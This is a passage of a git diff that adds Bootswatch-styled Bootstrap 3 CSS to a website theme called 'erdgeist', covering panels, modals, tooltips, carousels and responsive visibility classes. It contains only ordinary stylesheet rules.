{ + border-top-left-radius: -1; + border-top-right-radius: -1; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-left-radius: -1; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-right-radius: -1; +} +.panel > .table:last-child, +.panel > .table-responsive:last-child > .table:last-child { + border-bottom-right-radius: -1; + border-bottom-left-radius: -1; +} +.panel > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { + border-bottom-left-radius: -1; + border-bottom-right-radius: -1; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: -1; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: -1; +} +.panel > .panel-body + .table, +.panel > .panel-body + .table-responsive, +.panel > .table + .panel-body, +.panel > .table-responsive + .panel-body { + border-top: 1px solid #dddddd; +} +.panel > .table > tbody:first-child > tr:first-child th, +.panel > .table > tbody:first-child > tr:first-child td { + border-top: 0; +} +.panel > .table-bordered, +.panel > .table-responsive > .table-bordered { + border: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; +} +.panel > .table-bordered > thead > tr:first-child > td, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > td, +.panel > .table-bordered > tbody > tr:first-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, +.panel > .table-bordered > thead > tr:first-child > th, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > th, +.panel > .table-bordered > tbody > tr:first-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { + border-bottom: 0; +} +.panel > .table-bordered > tbody > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, +.panel > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-bordered > tbody > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, +.panel > .table-bordered > tfoot > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { + border-bottom: 0; +} +.panel > .table-responsive { + border: 0; + margin-bottom: 0; +} +.panel-group { + margin-bottom: 21px; +} +.panel-group .panel { + margin-bottom: 0; + border-radius: 0; +} +.panel-group .panel + .panel { + margin-top: 5px; +} +.panel-group .panel-heading { + border-bottom: 0; +} +.panel-group .panel-heading + .panel-collapse > .panel-body, +.panel-group .panel-heading + .panel-collapse > .list-group { + border-top: 1px solid #dddddd; +} +.panel-group .panel-footer { + border-top: 0; +} +.panel-group .panel-footer + .panel-collapse .panel-body { + border-bottom: 1px solid #dddddd; +} +.panel-default { + border-color: #dddddd; +} +.panel-default > .panel-heading { + color: #333333; + background-color: #f5f5f5; + border-color: #dddddd; +} +.panel-default > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #dddddd; +} +.panel-default > .panel-heading .badge { + color: #f5f5f5; + background-color: #333333; +} +.panel-default > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #dddddd; +} +.panel-primary { + border-color: #2780e3; +} +.panel-primary > .panel-heading { + color: #ffffff; + background-color: #2780e3; + border-color: #2780e3; +} +.panel-primary > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #2780e3; +} +.panel-primary > .panel-heading .badge { + color: #2780e3; + background-color: #ffffff; +} +.panel-primary > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #2780e3; +} +.panel-success { + border-color: #4e9f15; +} +.panel-success > .panel-heading { + color: #ffffff; + background-color: #3fb618; + border-color: #4e9f15; +} +.panel-success > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #4e9f15; +} +.panel-success > .panel-heading .badge { + color: #3fb618; + background-color: #ffffff; +} +.panel-success > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #4e9f15; +} +.panel-info { + border-color: #7643a8; +} +.panel-info > .panel-heading { + color: #ffffff; + background-color: #9954bb; + border-color: #7643a8; +} +.panel-info > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #7643a8; +} +.panel-info > .panel-heading .badge { + color: #9954bb; + background-color: #ffffff; +} +.panel-info > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #7643a8; +} +.panel-warning { + border-color: #ff4309; +} +.panel-warning > .panel-heading { + color: #ffffff; + background-color: #ff7518; + border-color: #ff4309; +} +.panel-warning > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ff4309; +} +.panel-warning > .panel-heading .badge { + color: #ff7518; + background-color: #ffffff; +} +.panel-warning > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ff4309; +} +.panel-danger { + border-color: #f0005e; +} +.panel-danger > .panel-heading { + color: #ffffff; + background-color: #ff0039; + border-color: #f0005e; +} +.panel-danger > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #f0005e; +} +.panel-danger > .panel-heading .badge { + color: #ff0039; + background-color: #ffffff; +} +.panel-danger > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #f0005e; +} +.embed-responsive { + position: relative; + display: block; + height: 0; + padding: 0; + overflow: hidden; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + left: 0; + bottom: 0; + height: 100%; + width: 100%; + border: 0; +} +.embed-responsive.embed-responsive-16by9 { + padding-bottom: 56.25%; +} +.embed-responsive.embed-responsive-4by3 { + padding-bottom: 75%; +} +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + border-radius: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); +} +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, 0.15); +} +.well-lg { + padding: 24px; + border-radius: 0; +} +.well-sm { + padding: 9px; + border-radius: 0; +} +.close { + float: right; + font-size: 22.5px; + font-weight: bold; + line-height: 1; + color: #ffffff; + text-shadow: 0 1px 0 #ffffff; + opacity: 0.2; + filter: alpha(opacity=20); +} +.close:hover, +.close:focus { + color: #ffffff; + text-decoration: none; + cursor: pointer; + opacity: 0.5; + filter: alpha(opacity=50); +} +button.close { + padding: 0; + cursor: pointer; + background: transparent; + border: 0; + -webkit-appearance: none; +} +.modal-open { + overflow: hidden; +} +.modal { + display: none; + overflow: hidden; + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + -webkit-overflow-scrolling: touch; + outline: 0; +} +.modal.fade .modal-dialog { + -webkit-transform: translate(0, -25%); + -ms-transform: translate(0, -25%); + -o-transform: translate(0, -25%); + transform: translate(0, -25%); + -webkit-transition: -webkit-transform 0.3s ease-out; + -o-transition: -o-transform 0.3s ease-out; + transition: transform 0.3s ease-out; +} +.modal.in .modal-dialog { + -webkit-transform: translate(0, 0); + -ms-transform: translate(0, 0); + -o-transform: translate(0, 0); + transform: translate(0, 0); +} +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} +.modal-dialog { + position: relative; + width: auto; + margin: 10px; +} +.modal-content { + position: relative; + background-color: #ffffff; + border: 1px solid #999999; + border: 1px solid transparent; + border-radius: 0; + -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); + box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); + -webkit-background-clip: padding-box; + background-clip: padding-box; + outline: 0; +} +.modal-backdrop { + position: absolute; + top: 0; + right: 0; + left: 0; + background-color: #000000; +} +.modal-backdrop.fade { + opacity: 0; + filter: alpha(opacity=0); +} +.modal-backdrop.in { + opacity: 0.5; + filter: alpha(opacity=50); +} +.modal-header { + padding: 15px; + border-bottom: 1px solid #e5e5e5; + min-height: 16.42857143px; +} +.modal-header .close { + margin-top: -2px; +} +.modal-title { + margin: 0; + line-height: 1.42857143; +} +.modal-body { + position: relative; + padding: 20px; +} +.modal-footer { + padding: 20px; + text-align: right; + border-top: 1px solid #e5e5e5; +} +.modal-footer .btn + .btn { + margin-left: 5px; + margin-bottom: 0; +} +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} +@media (min-width: 768px) { + .modal-dialog { + width: 600px; + margin: 30px auto; + } + .modal-content { + -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); + box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); + } + .modal-sm { + width: 300px; + } +} +@media (min-width: 992px) { + .modal-lg { + width: 900px; + } +} +.tooltip { + position: absolute; + z-index: 1070; + display: block; + visibility: visible; + font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif; + font-size: 13px; + font-weight: normal; + line-height: 1.4; + opacity: 0; + filter: alpha(opacity=0); +} +.tooltip.in { + opacity: 0.9; + filter: alpha(opacity=90); +} +.tooltip.top { + margin-top: -3px; + padding: 5px 0; +} +.tooltip.right { + margin-left: 3px; + padding: 0 5px; +} +.tooltip.bottom { + margin-top: 3px; + padding: 5px 0; +} +.tooltip.left { + margin-left: -3px; + padding: 0 5px; +} +.tooltip-inner { + max-width: 200px; + padding: 3px 8px; + color: #ffffff; + text-align: center; + text-decoration: none; + background-color: rgba(0, 0, 0, 0.9); + border-radius: 0; +} +.tooltip-arrow { + position: absolute; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.tooltip.top .tooltip-arrow { + bottom: 0; + left: 50%; + margin-left: -5px; + border-width: 5px 5px 0; + border-top-color: rgba(0, 0, 0, 0.9); +} +.tooltip.top-left .tooltip-arrow { + bottom: 0; + right: 5px; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: rgba(0, 0, 0, 0.9); +} +.tooltip.top-right .tooltip-arrow { + bottom: 0; + left: 5px; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: rgba(0, 0, 0, 0.9); +} +.tooltip.right .tooltip-arrow { + top: 50%; + left: 0; + margin-top: -5px; + border-width: 5px 5px 5px 0; + border-right-color: rgba(0, 0, 0, 0.9); +} +.tooltip.left .tooltip-arrow { + top: 50%; + right: 0; + margin-top: -5px; + border-width: 5px 0 5px 5px; + border-left-color: rgba(0, 0, 0, 0.9); +} +.tooltip.bottom .tooltip-arrow { + top: 0; + left: 50%; + margin-left: -5px; + border-width: 0 5px 5px; + border-bottom-color: rgba(0, 0, 0, 0.9); +} +.tooltip.bottom-left .tooltip-arrow { + top: 0; + right: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: rgba(0, 0, 0, 0.9); +} +.tooltip.bottom-right .tooltip-arrow { + top: 0; + left: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: rgba(0, 0, 0, 0.9); +} +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: none; + max-width: 276px; + padding: 1px; + font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif; + font-size: 15px; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + background-color: #ffffff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #cccccc; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + white-space: normal; +} +.popover.top { + margin-top: -10px; +} +.popover.right { + margin-left: 10px; +} +.popover.bottom { + margin-top: 10px; +} +.popover.left { + margin-left: -10px; +} +.popover-title { + margin: 0; + padding: 8px 14px; + font-size: 15px; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-radius: -1 -1 0 0; +} +.popover-content { + padding: 9px 14px; +} +.popover > .arrow, +.popover > .arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.popover > .arrow { + border-width: 11px; +} +.popover > .arrow:after { + border-width: 10px; + content: ""; +} +.popover.top > .arrow { + left: 50%; + margin-left: -11px; + border-bottom-width: 0; + border-top-color: #999999; + border-top-color: rgba(0, 0, 0, 0.25); + bottom: -11px; +} +.popover.top > .arrow:after { + content: " "; + bottom: 1px; + margin-left: -10px; + border-bottom-width: 0; + border-top-color: #ffffff; +} +.popover.right > .arrow { + top: 50%; + left: -11px; + margin-top: -11px; + border-left-width: 0; + border-right-color: #999999; + border-right-color: rgba(0, 0, 0, 0.25); +} +.popover.right > .arrow:after { + content: " "; + left: 1px; + bottom: -10px; + border-left-width: 0; + border-right-color: #ffffff; +} +.popover.bottom > .arrow { + left: 50%; + margin-left: -11px; + border-top-width: 0; + border-bottom-color: #999999; + border-bottom-color: rgba(0, 0, 0, 0.25); + top: -11px; +} +.popover.bottom > .arrow:after { + content: " "; + top: 1px; + margin-left: -10px; + border-top-width: 0; + border-bottom-color: #ffffff; +} +.popover.left > .arrow { + top: 50%; + right: -11px; + margin-top: -11px; + border-right-width: 0; + border-left-color: #999999; + border-left-color: rgba(0, 0, 0, 0.25); +} +.popover.left > .arrow:after { + content: " "; + right: 1px; + border-right-width: 0; + border-left-color: #ffffff; + bottom: -10px; +} +.carousel { + position: relative; +} +.carousel-inner { + position: relative; + overflow: hidden; + width: 100%; +} +.carousel-inner > .item { + display: none; + position: relative; + -webkit-transition: 0.6s ease-in-out left; + -o-transition: 0.6s ease-in-out left; + transition: 0.6s ease-in-out left; +} +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + line-height: 1; +} +@media all and (transform-3d), (-webkit-transform-3d) { + .carousel-inner > .item { + -webkit-transition: -webkit-transform 0.6s ease-in-out; + -o-transition: -o-transform 0.6s ease-in-out; + transition: transform 0.6s ease-in-out; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000; + perspective: 1000; + } + .carousel-inner > .item.next, + .carousel-inner > .item.active.right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + left: 0; + } + .carousel-inner > .item.prev, + .carousel-inner > .item.active.left { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + left: 0; + } + .carousel-inner > .item.next.left, + .carousel-inner > .item.prev.right, + .carousel-inner > .item.active { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + left: 0; + } +} +.carousel-inner > .active, +.carousel-inner > .next, +.carousel-inner > .prev { + display: block; +} +.carousel-inner > .active { + left: 0; +} +.carousel-inner > .next, +.carousel-inner > .prev { + position: absolute; + top: 0; + width: 100%; +} +.carousel-inner > .next { + left: 100%; +} +.carousel-inner > .prev { + left: -100%; +} +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + left: 0; +} +.carousel-inner > .active.left { + left: -100%; +} +.carousel-inner > .active.right { + left: 100%; +} +.carousel-control { + position: absolute; + top: 0; + left: 0; + bottom: 0; + width: 15%; + opacity: 0.5; + filter: alpha(opacity=50); + font-size: 20px; + color: #ffffff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6); +} +.carousel-control.left { + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0.0001))); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); +} +.carousel-control.right { + left: auto; + right: 0; + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.0001)), to(rgba(0, 0, 0, 0.5))); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); +} +.carousel-control:hover, +.carousel-control:focus { + outline: 0; + color: #ffffff; + text-decoration: none; + opacity: 0.9; + filter: alpha(opacity=90); +} +.carousel-control .icon-prev, +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-left, +.carousel-control .glyphicon-chevron-right { + position: absolute; + top: 50%; + z-index: 5; + display: inline-block; +} +.carousel-control .icon-prev, +.carousel-control .glyphicon-chevron-left { + left: 50%; + margin-left: -10px; +} +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-right { + right: 50%; + margin-right: -10px; +} +.carousel-control .icon-prev, +.carousel-control .icon-next { + width: 20px; + height: 20px; + margin-top: -10px; + line-height: 1; + font-family: serif; +} +.carousel-control .icon-prev:before { + content: '\2039'; +} +.carousel-control .icon-next:before { + content: '\203a'; +} +.carousel-indicators { + position: absolute; + bottom: 10px; + left: 50%; + z-index: 15; + width: 60%; + margin-left: -30%; + padding-left: 0; + list-style: none; + text-align: center; +} +.carousel-indicators li { + display: inline-block; + width: 10px; + height: 10px; + margin: 1px; + text-indent: -999px; + border: 1px solid #ffffff; + border-radius: 10px; + cursor: pointer; + background-color: #000 \9; + background-color: rgba(0, 0, 0, 0); +} +.carousel-indicators .active { + margin: 0; + width: 12px; + height: 12px; + background-color: #ffffff; +} +.carousel-caption { + position: absolute; + left: 15%; + right: 15%; + bottom: 20px; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #ffffff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6); +} +.carousel-caption .btn { + text-shadow: none; +} +@media screen and (min-width: 768px) { + .carousel-control .glyphicon-chevron-left, + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-prev, + .carousel-control .icon-next { + width: 30px; + height: 30px; + margin-top: -15px; + font-size: 30px; + } + .carousel-control .glyphicon-chevron-left, + .carousel-control .icon-prev { + margin-left: -15px; + } + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-next { + margin-right: -15px; + } + .carousel-caption { + left: 20%; + right: 20%; + padding-bottom: 30px; + } + .carousel-indicators { + bottom: 20px; + } +} +.clearfix:before, +.clearfix:after, +.dl-horizontal dd:before, +.dl-horizontal dd:after, +.container:before, +.container:after, +.container-fluid:before, +.container-fluid:after, +.row:before, +.row:after, +.form-horizontal .form-group:before, +.form-horizontal .form-group:after, +.btn-toolbar:before, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:before, +.btn-group-vertical > .btn-group:after, +.nav:before, +.nav:after, +.navbar:before, +.navbar:after, +.navbar-header:before, +.navbar-header:after, +.navbar-collapse:before, +.navbar-collapse:after, +.pager:before, +.pager:after, +.panel-body:before, +.panel-body:after, +.modal-footer:before, +.modal-footer:after { + content: " "; + display: table; +} +.clearfix:after, +.dl-horizontal dd:after, +.container:after, +.container-fluid:after, +.row:after, +.form-horizontal .form-group:after, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:after, +.nav:after, +.navbar:after, +.navbar-header:after, +.navbar-collapse:after, +.pager:after, +.panel-body:after, +.modal-footer:after { + clear: both; +} +.center-block { + display: block; + margin-left: auto; + margin-right: auto; +} +.pull-right { + float: right !important; +} +.pull-left { + float: left !important; +} +.hide { + display: none !important; +} +.show { + display: block !important; +} +.invisible { + visibility: hidden; +} +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} +.hidden { + display: none !important; + visibility: hidden !important; +} +.affix { + position: fixed; +} +@-ms-viewport { + width: device-width; +} +.visible-xs, +.visible-sm, +.visible-md, +.visible-lg { + display: none !important; +} +.visible-xs-block, +.visible-xs-inline, +.visible-xs-inline-block, +.visible-sm-block, +.visible-sm-inline, +.visible-sm-inline-block, +.visible-md-block, +.visible-md-inline, +.visible-md-inline-block, +.visible-lg-block, +.visible-lg-inline, +.visible-lg-inline-block { + display: none !important; +} +@media (max-width: 767px) { + .visible-xs { + display: block !important; + } + table.visible-xs { + display: table; + } + tr.visible-xs { + display: table-row !important; + } + th.visible-xs, + td.visible-xs { + display: table-cell !important; + } +} +@media (max-width: 767px) { + .visible-xs-block { + display: block !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline { + display: inline !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline-block { + display: inline-block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm { + display: block !important; + } + table.visible-sm { + display: table; + } + tr.visible-sm { + display: table-row !important; + } + th.visible-sm, + td.visible-sm { + display: table-cell !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-block { + display: block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline { + display: inline !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline-block { + display: inline-block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md { + display: block !important; + } + table.visible-md { + display: table; + } + tr.visible-md { + display: table-row !important; + } + th.visible-md, + td.visible-md { + display: table-cell !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-block { + display: block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline { + display: inline !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline-block { + display: inline-block !important; + } +} +@media (min-width: 1200px) { + .visible-lg { + display: block !important; + } + table.visible-lg { + display: table; + } + tr.visible-lg { + display: table-row !important; + } + th.visible-lg, + td.visible-lg { + display: table-cell !important; + } +} +@media (min-width: 1200px) { + .visible-lg-block { + display: block !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline { + display: inline !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline-block { + display: inline-block !important; + } +} +@media (max-width: 767px) { + .hidden-xs { + display: none !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .hidden-sm { + display: none !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .hidden-md { + display: none !important; + } +} +@media (min-width: 1200px) { + .hidden-lg { + display: none !important; + } +} +.visible-print { + display: none !important; +} +@media print { + .visible-print { + display: block !important; + } + table.visible-print { + display: table; + } + tr.visible-print { + display: table-row !important; + } + th.visible-print, + td.visible-print { + display: table-cell !important; + } +} +.visible-print-block { + display: none !important; +} +@media print { + .visible-print-block { + display: block !important; + } +} +.visible-print-inline { + display: none !important; +} +@media print { + .visible-print-inline { + display: inline !important; + } +} +.visible-print-inline-block { + display: none !important; +} +@media print { + .visible-print-inline-block { + display: inline-block !important; + } +} +@media print { + .hidden-print { + display: none !important; + } +} +.navbar-inverse .badge { + background-color: #fff; + color: #2780e3; +} +body { + -webkit-font-smoothing: antialiased; +} +.text-primary, +.text-primary:hover { + color: #2780e3; +} +.text-success, +.text-success:hover { + color: #3fb618; +} +.text-danger, +.text-danger:hover { + color: #ff0039; +} +.text-warning, +.text-warning:hover { + color: #ff7518; +} +.text-info, +.text-info:hover { + color: #9954bb; +} +table a:not(.btn), +.table a:not(.btn) { + text-decoration: underline; +} +table .dropdown-menu a, +.table .dropdown-menu a { + text-decoration: none; +} +table .success, +.table .success, +table .warning, +.table .warning, +table .danger, +.table .danger, +table .info, +.table .info { + color: #fff; +} +table .success a, +.table .success a, +table .warning a, +.table .warning a, +table .danger a, +.table .danger a, +table .info a, +.table .info a { + color: #fff; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .form-control-feedback { + color: #ff7518; +} +.has-warning .form-control, +.has-warning .form-control:focus, +.has-warning .input-group-addon { + border: 1px solid #ff7518; +} +.has-error .help-block, +.has-error .control-label, +.has-error .form-control-feedback { + color: #ff0039; +} +.has-error .form-control, +.has-error .form-control:focus, +.has-error .input-group-addon { + border: 1px solid #ff0039; +} +.has-success .help-block, +.has-success .control-label, +.has-success .form-control-feedback { + color: #3fb618; +} +.has-success .form-control, +.has-success .form-control:focus, +.has-success .input-group-addon { + border: 1px solid #3fb618; +} +.nav-pills > li > a { + border-radius: 0; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + background-image: none; +} +.close { + text-decoration: none; + text-shadow: none; + opacity: 0.4; +} +.close:hover, +.close:focus { + opacity: 1; +} +.alert { + border: none; +} +.alert .alert-link { + text-decoration: underline; + color: #fff; +} +.label { + border-radius: 0; +} +.progress { + height: 8px; + -webkit-box-shadow: none; + box-shadow: none; +} +.progress .progress-bar { + font-size: 8px; + line-height: 8px; +} +.panel-heading, +.panel-footer { + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.panel-default .close { + color: #333333; +} +a.list-group-item-success.active { + background-color: #3fb618; +} +a.list-group-item-success.active:hover, +a.list-group-item-success.active:focus { + background-color: #379f15; +} +a.list-group-item-warning.active { + background-color: #ff7518; +} +a.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus { + background-color: #fe6600; +} +a.list-group-item-danger.active { + background-color: #ff0039; +} +a.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus { + background-color: #e60033; +} +.modal .close { + color: #333333; +} +.popover { + color: #333333; +} diff --git a/themes/erdgeist/assets/css/bootstrap.min.css b/themes/erdgeist/assets/css/bootstrap.min.css new file mode 100644 index 0000000..2d51760 --- /dev/null +++ b/themes/erdgeist/assets/css/bootstrap.min.css @@ -0,0 +1,6 @@ + * bootswatch v3.3.2 + * Homepage: http://bootswatch.com + * Copyright 2012-2015 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! normalize.css v3.0.2 | MIT License | git.io/normalize 